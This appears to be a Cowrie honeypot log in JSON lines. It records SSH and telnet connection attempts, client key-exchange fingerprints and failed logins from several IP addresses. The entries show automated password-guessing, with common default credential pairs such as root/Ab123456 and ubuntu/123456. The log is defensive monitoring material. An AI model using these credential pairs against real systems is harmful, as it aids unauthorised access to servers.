{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50418,"dst_ip":"10.17.0.5","dst_port":23,"session":"27aac96842b8","protocol":"telnet","message":"New connection: 45.58.127.90:50418 (10.17.0.5:23) [session: 27aac96842b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:24.278614Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48602,"dst_ip":"159.203.135.109","dst_port":22,"session":"3136cd583b36","protocol":"ssh","message":"New connection: 176.65.132.129:48602 (159.203.135.109:22) [session: 3136cd583b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:26.034987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:26.041843Z","src_ip":"176.65.132.129","session":"3136cd583b36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:26.125940Z","src_ip":"176.65.132.129","session":"3136cd583b36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:26.377709Z","src_ip":"176.65.132.129","session":"3136cd583b36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34312,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3203e66a448","protocol":"ssh","message":"New connection: 172.237.20.62:34312 (159.203.135.109:22) [session: e3203e66a448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:27.134441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:27.139702Z","src_ip":"172.237.20.62","session":"e3203e66a448","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:27.331144Z","src_ip":"172.237.20.62","session":"e3203e66a448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:27.625721Z","src_ip":"176.65.132.129","session":"3136cd583b36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:27.826768Z","src_ip":"172.237.20.62","session":"e3203e66a448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:28.991063Z","src_ip":"172.237.20.62","session":"e3203e66a448","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48616,"dst_ip":"159.203.135.109","dst_port":22,"session":"19f83686ba9d","protocol":"ssh","message":"New connection: 176.65.132.129:48616 (159.203.135.109:22) [session: 19f83686ba9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:29.563940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:29.572242Z","src_ip":"176.65.132.129","session":"19f83686ba9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:29.646995Z","src_ip":"176.65.132.129","session":"19f83686ba9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:30.069266Z","src_ip":"176.65.132.129","session":"19f83686ba9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:31.154268Z","src_ip":"176.65.132.129","session":"19f83686ba9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34792,"dst_ip":"10.17.0.5","dst_port":23,"session":"53799f544af5","protocol":"telnet","message":"New connection: 45.58.127.90:34792 (10.17.0.5:23) [session: 53799f544af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:32.086447Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48622,"dst_ip":"159.203.135.109","dst_port":22,"session":"75237e5c2446","protocol":"ssh","message":"New connection: 176.65.132.129:48622 (159.203.135.109:22) [session: 75237e5c2446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:33.239269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:33.244444Z","src_ip":"176.65.132.129","session":"75237e5c2446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:33.326688Z","src_ip":"176.65.132.129","session":"75237e5c2446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:33.573614Z","src_ip":"176.65.132.129","session":"75237e5c2446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:34.658823Z","src_ip":"176.65.132.129","session":"75237e5c2446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56248,"dst_ip":"159.203.135.109","dst_port":22,"session":"85091d8f7cb4","protocol":"ssh","message":"New connection: 176.65.132.129:56248 (159.203.135.109:22) [session: 85091d8f7cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:36.570067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:36.574822Z","src_ip":"176.65.132.129","session":"85091d8f7cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:36.657193Z","src_ip":"176.65.132.129","session":"85091d8f7cb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:36.903842Z","src_ip":"176.65.132.129","session":"85091d8f7cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34798,"dst_ip":"10.17.0.5","dst_port":23,"session":"b16480ee5928","protocol":"telnet","message":"New connection: 45.58.127.90:34798 (10.17.0.5:23) [session: b16480ee5928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:37.494074Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:38.009571Z","src_ip":"176.65.132.129","session":"85091d8f7cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":57698,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0eee37f50a7","protocol":"ssh","message":"New connection: 172.237.20.62:57698 (159.203.135.109:22) [session: b0eee37f50a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:38.079234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:38.083587Z","src_ip":"172.237.20.62","session":"b0eee37f50a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:38.252865Z","src_ip":"172.237.20.62","session":"b0eee37f50a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:38.748497Z","src_ip":"172.237.20.62","session":"b0eee37f50a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:39.916245Z","src_ip":"172.237.20.62","session":"b0eee37f50a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56252,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c257bf6799e","protocol":"ssh","message":"New connection: 176.65.132.129:56252 (159.203.135.109:22) [session: 4c257bf6799e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:39.962627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:39.966619Z","src_ip":"176.65.132.129","session":"4c257bf6799e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:40.048699Z","src_ip":"176.65.132.129","session":"4c257bf6799e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:40.526786Z","src_ip":"176.65.132.129","session":"4c257bf6799e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:41.611075Z","src_ip":"176.65.132.129","session":"4c257bf6799e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56256,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfb2e2e153be","protocol":"ssh","message":"New connection: 176.65.132.129:56256 (159.203.135.109:22) [session: bfb2e2e153be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:43.736073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:43.740596Z","src_ip":"176.65.132.129","session":"bfb2e2e153be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:43.821896Z","src_ip":"176.65.132.129","session":"bfb2e2e153be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57864,"dst_ip":"10.17.0.5","dst_port":23,"session":"22564cb54e44","protocol":"telnet","message":"New connection: 45.58.127.90:57864 (10.17.0.5:23) [session: 22564cb54e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:43.940566Z"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:44.068805Z","src_ip":"176.65.132.129","session":"bfb2e2e153be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:45.153918Z","src_ip":"176.65.132.129","session":"bfb2e2e153be","protocol":"ssh"}
